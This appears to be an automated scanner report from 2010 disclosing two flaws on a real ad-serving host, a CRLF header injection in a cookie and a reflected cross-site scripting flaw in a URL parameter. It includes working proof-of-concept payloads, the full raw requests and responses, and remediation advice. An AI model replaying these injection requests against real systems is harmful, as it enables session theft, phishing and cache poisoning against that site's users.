bs.serving-sys.com, XSS, HTTP Header Injection Report

CWE-79, CAPEC-86, CWE-113 in bs.serving-sys.com | Vulnerability Crawler Report

Report generated by XSS.CX at Sun Dec 19 11:56:12 CST 2010.


Contents

Loading

1. HTTP header injection

2. Cross-site scripting (reflected)



1. HTTP header injection  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://bs.serving-sys.com
Path:   /BurstingPipe/adServer.bs

Issue detail

The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload 95791%0d%0a7725d3c3fde was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

Request

GET /BurstingPipe/adServer.bs?cn=tf&c=20&mc=click&pli=2071630&PluID=0&ord=1292775455886 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://static.promo2.tubemogul.com/flash/tmunit.swf
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: F1=00UilH0003sY9QVZ; ActivityInfo=000nx2bhf%5f000nx5bhf%5f0008uqbjX%5f000g3dbdR%5f000nx1bhf%5f000jUQbis%5f; eyeblaster=BWVal=244&BWDate=40530.939745&debuglevel=&FLV=10.1103&RES=128&WMPV=095791%0d%0a7725d3c3fde; A2=fwhZ9YvQ0bdR0000820wsifp7C9ZmQ07jW00008y8yskg0dX9YvT08LR0000820wsiekNy9Ytg0aPa0000820wsieuYC9YX+084o0000820wsjgcOG9ZmP08VC0000820wskf6Dt9YZU07RT0000820wsjfjXe9YZY07aw0000820wsjfjZR9YZW07aw0000820wsjfmD89Ywg049N0000820wsiff3a9Ytg03sY0000820wsifHY+9YcR07Hs0000820wshfjZJ9YZY07aw0000820wsjeuYn9ZcS084o0000820wskg84I9Zz503Dk0000820wslapK09Y+909NH0000820wsjfB4L9YZY06py0000820wsjfgbE9YhW02WG0000820wshfnkx9ZmX07jW00008y8yskfnkm9ZmX07jW0000gA92ske2AB9YX+02Ed00008y8ysjfUzq9Yf80bfZ0000o61wshf.ae9YeI06IX0000g410shfm+y9ZmQ07jW0000gA92skg8.K9YtA06OJ0000820wsif.bD9YeI06IX0000820wsh; B2=71cT0820wsi7DEA0820wsi7CDh0MIb2sk7Qao0820wsi7vuY0820wsj74Lg0g410sk7nUf0820wsj7FG50820wsj7W4s0820wsi7Wks0820wsk7VNe0820wsl7I0D0820wsh7xQU0820wsi5svQ0820wsj7Qiy0820wsh6UT.0820wsi7Qiz0g410sh7vv20820wsj7vv30820wsj6eKO08y8ysj7CEh0o61wsh72xf0820wsh; C3=0ouR820wsj0000000_0tMpo61wsj0001000_0uju820wsh0000200_0rWH8y8ysj000000g_0tyS820wsi0000w00_0wu2820wsk0000001_0u4dg410sk0000002_0ugY820wsi0000004_0tUC820wsi0000080_0uUh820wsi0000001_0wt6820wsi000000w_0uXQ820wsj0000002_0vyBMIb2sk0000080_0v51820wsh0000002_0v2i820wsj0000010_0vBTo61wsh000000g_0vq0820wsi0000008_0sqf820wsl000000w_0tyOo61wsh0001000_; D3=0u4d02WRg410sk0vq000jr820wsi0rWH00tR8y8ysj0wu200iH820wsk0ouR009f820wsj0sqf06WS820wsl0vyB00iHMIb2sk0ugY00Mm820wsi0wt603tW820wsi0tUC00Mm820wsi0v51004H820wsh0v2i02R4820wsj0tyS00Hs820wsi0tyO04UKo61wsh0vBT04UKo61wsh0tMp05zno61wsj0uju00iZ820wsh0uXQ04Qh820wsj0uUh05wB820wsi; E2=049N820wsi0aPag210si07Hso61wsh09NH820wsj084oM620sk07jWMIb2sk0bdR820wsi0bcF820wse066Ng20wsg0aVX820wsd02EdEyaysj07A8820wse03Dk820wsl08wQu7xUse0bFAm5xosh07RTo61wsj02WGSIbqsh03sYSJHqsi06IXPEbesh05meg410sf04gITybush07awo61wsj08LR820wsi06py820wsj04m4820wsg0bKdo41wsf0bfZo61wsh06+TnBVush07k1820wse08VC820wsk0bnAME2ysf06OJ820wsi; u2=995a2f09-c0fe-419b-bf0a-c5da3072ecff3FK05g; u3=1

Response

HTTP/1.1 302 Object moved
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Length: 0
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Location: http://www.scionav.com
Server: Microsoft-IIS/7.5
Set-Cookie: eyeblaster=BWVal=244&BWDate=40530.939745&debuglevel=&FLV=10.1103&RES=128&WMPV=095791
7725d3c3fde
; expires=Thu, 31-Dec-2037 22: 00:00 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: A2=fwhZ9YvQ0bdR0000820wsieuYC9YX+084o0000820wsjekNy9Ytg0aPa0000820wsig0dX9YvT08LR0000820wsifp7C9ZmQ07jW00008y8yskf6Dt9YZU07RT0000820wsjgcOG9ZmP08VC0000820wskfjXe9YZY07aw0000820wsjfmD89Ywg049N0000820wsifjZR9YZW07aw0000820wsjeuYn9ZcS084o0000820wskfjZJ9YZY07aw0000820wsjfHY+9YcR07Hs0000820wshff3a9Ytg03sY0000820wsig84I9Zz503Dk9Zzee3wUslfB4L9YZY06py0000820wsjapK09Y+909NH0000820wsjfgbE9YhW02WG0000820wshfnkm9ZmX07jW0000gA92skfnkx9ZmX07jW00008y8yskfm+y9ZmQ07jW0000gA92skf.ae9YeI06IX0000g410shfUzq9Yf80bfZ0000o61wshe2AB9YX+02Ed00008y8ysjf.bD9YeI06IX0000820wshg8.K9YtA06OJ0000820wsi; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B2=7DEA0820wsi71cT0820wsi7vuY0820wsj7Qao0820wsi7CDh0MIb2sk74Lg0g410sk7nUf0820wsj7FG50820wsj7W4s0820wsi7Wks0820wsk7VNe0e3wUsl7I0D0820wsh7xQU0820wsi7Qiy0820wsh5svQ0820wsj7vv20820wsj7Qiz0g410sh6UT.0820wsi7vv30820wsj6eKO08y8ysj72xf0820wsh7CEh0o61wsh; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: C3=0tMpo61wsj0001000_0ouR820wsj0000000_0rWH8y8ysj000000g_0uju820wsh0000200_0tyS820wsi0000w00_0u4dg410sk0000002_0wu2820wsk0000001_0ugY820wsi0000004_0uUh820wsi0000001_0tUC820wsi0000080_0uXQ820wsj0000002_0wt6820wsi000000w_0v51820wsh0000002_0vyBMIb2sk0000080_0vq0820wsi0000008_0vBTo61wsh000000g_0v2i820wsj0000010_0sqfe3wUsl000000w_0tyOo61wsh0001000_; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: D3=0u4d02WRg410sk0rWH00tR8y8ysj0vq000jr820wsi0wu200iH820wsk0ouR009f820wsj0sqf06WSe3wUsl0vyB00iHMIb2sk0ugY00Mm820wsi0tUC00Mm820wsi0wt603tW820wsi0v51004H820wsh0tMp05zno61wsj0vBT04UKo61wsh0tyO04UKo61wsh0tyS00Hs820wsi0v2i02R4820wsj0uju00iZ820wsh0uXQ04Qh820wsj0uUh05wB820wsi; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: E2=09NH820wsj07Hso61wsh0aPag210si049N820wsi07jWMIb2sk084oM620sk0bdR820wsi066Ng20wsg0bcF820wse02EdEyaysj0aVX820wsd07A8820wse03Dke3wUsl0bFAm5xosh08wQu7xUse07RTo61wsj03sYSJHqsi02WGSIbqsh04gITybush05meg410sf06IXPEbesh08LR820wsi07awo61wsj06py820wsj0bfZo61wsh0bKdo41wsf04m4820wsg06+TnBVush08VC820wsk07k1820wse0bnAME2ysf06OJ820wsi; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=995a2f09-c0fe-419b-bf0a-c5da3072ecff3FK05g; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u3=1; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: U=995a2f09-c0fe-419b-bf0a-c5da3072ecff3FK05g; expires=Thu, 17-Apr-2010 22:00:00 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 19 Dec 2010 16:25:59 GMT
Connection: close


2. Cross-site scripting (reflected)  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://bs.serving-sys.com
Path:   /BurstingPipe/ActivityServer.bs

Issue detail

The value of the var request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload cbada%3balert(1)//f657164f01a was submitted in the var parameter. This input was echoed as cbada;alert(1)//f657164f01a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /BurstingPipe/ActivityServer.bs?cn=as&vn=omn&activityID=32638&advID=33048&var=s_1_Integrate_Eyeblaster_ACM_get_0cbada%3balert(1)//f657164f01a&rnd=2516071521677 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.rackspace.com/index.php
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ActivityInfo=000nx2bhf%5f000nx5bhf%5f0008uqbhL%5f000g3dbdR%5f000jUQbis%5f000nx1bhf%5f; F1=00UilH0003sY9QVZ; E2=09NH820wsj07Hso61wsh0aPag210si049N820wsi07jWMIb2sk084oM620sk0bdR820wsi066Ng20wsg0bcF820wse02EdEyaysj0aVX820wsd07A8820wse0bFAm5xosh08wQu7xUse07RTo61wsj03sYSJHqsi02WGSIbqsh04gITybush05meg410sf06IXPEbesh08LR820wsi07awo61wsj06py820wsj0bfZo61wsh0bKdo41wsf04m4820wsg06+TnBVush08VC820wsk07k1820wse05sM820wsc0bnAME2ysf06OJ820wsi; A2=fwhZ9YvQ0bdR0000820wsieuYC9YX+084o0000820wsjekNy9Ytg0aPa0000820wsig0dX9YvT08LR0000820wsifp7C9ZmQ07jW00008y8yskf6Dt9YZU07RT0000820wsjgcOG9ZmP08VC0000820wskfjXe9YZY07aw0000820wsjfmD89Ywg049N0000820wsifjZR9YZW07aw0000820wsjeuYn9ZcS084o0000820wskfjZJ9YZY07aw0000820wsjfHY+9YcR07Hs0000820wshff3a9Ytg03sY0000820wsifB4L9YZY06py0000820wsjapK09Y+909NH0000820wsjfgbE9YhW02WG0000820wshfnkm9ZmX07jW0000gA92skfnkx9ZmX07jW00008y8yskfm+y9ZmQ07jW0000gA92skf.ae9YeI06IX0000g410shfUzq9Yf80bfZ0000o61wshe2AB9YX+02Ed00008y8ysjf.bD9YeI06IX0000820wshg8.K9YtA06OJ0000820wsi; B2=7DEA0820wsi71cT0820wsi7vuY0820wsj7Qao0820wsi7CDh0MIb2sk74Lg0g410sk7nUf0820wsj7FG50820wsj7W4s0820wsi7Wks0820wsk7I0D0820wsh7xQU0820wsi7Qiy0820wsh5svQ0820wsj7vv20820wsj7Qiz0g410sh6UT.0820wsi7vv30820wsj6eKO08y8ysj72xf0820wsh7CEh0o61wsh; C3=0tMpo61wsj0001000_0ouR820wsj0000000_0rWH8y8ysj000000g_0uju820wsh0000200_0tyS820wsi0000w00_0u4dg410sk0000002_0wu2820wsk0000001_0ugY820wsi0000004_0uUh820wsi0000001_0tUC820wsi0000080_0uXQ820wsj0000002_0wt6820wsi000000w_0v51820wsh0000002_0vyBMIb2sk0000080_0vq0820wsi0000008_0vBTo61wsh000000g_0v2i820wsj0000010_0tyOo61wsh0001000_; D3=0u4d02WRg410sk0rWH00tR8y8ysj0vq000jr820wsi0wu200iH820wsk0ouR009f820wsj0vyB00iHMIb2sk0ugY00Mm820wsi0tUC00Mm820wsi0wt603tW820wsi0v51004H820wsh0tMp05zno61wsj0vBT04UKo61wsh0tyO04UKo61wsh0tyS00Hs820wsi0v2i02R4820wsj0uju00iZ820wsh0uXQ04Qh820wsj0uUh05wB820wsi; u2=995a2f09-c0fe-419b-bf0a-c5da3072ecff3FK05g; u3=1; eyeblaster=BWVal=244&BWDate=40530.939745&debuglevel=&FLV=10.1103&RES=128&WMPV=0

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: F1=00UilH0003sY9QVZ; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: ActivityInfo=000nx2bhf%5f000nx5bhf%5f0008uqbjW%5f000g3dbdR%5f000nx1bhf%5f000jUQbis%5f; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=995a2f09-c0fe-419b-bf0a-c5da3072ecff3FK05g; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u3=1; expires=Thu, 31-Dec-2037 22:00:00 GMT; domain=.serving-sys.com; path=/
Set-Cookie: U=995a2f09-c0fe-419b-bf0a-c5da3072ecff3FK05g; expires=Thu, 17-Apr-2010 22:00:00 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 19 Dec 2010 13:28:28 GMT
Connection: close
Content-Length: 256

var s_1_Integrate_Eyeblaster_ACM_get_0cbada;alert(1)//f657164f01a = {"lastImpId": 3796759,"lastImpSId": 11957,"lastImpPId": 1854416, "lastImpTime": 1292690040, "lastClkId": "", "lastClkSId": 11957,"lastClkPId": 1854416,"lastClkTime": "", "errorCode": "" };

Report generated by XSS.CX at Sun Dec 19 11:56:12 CST 2010.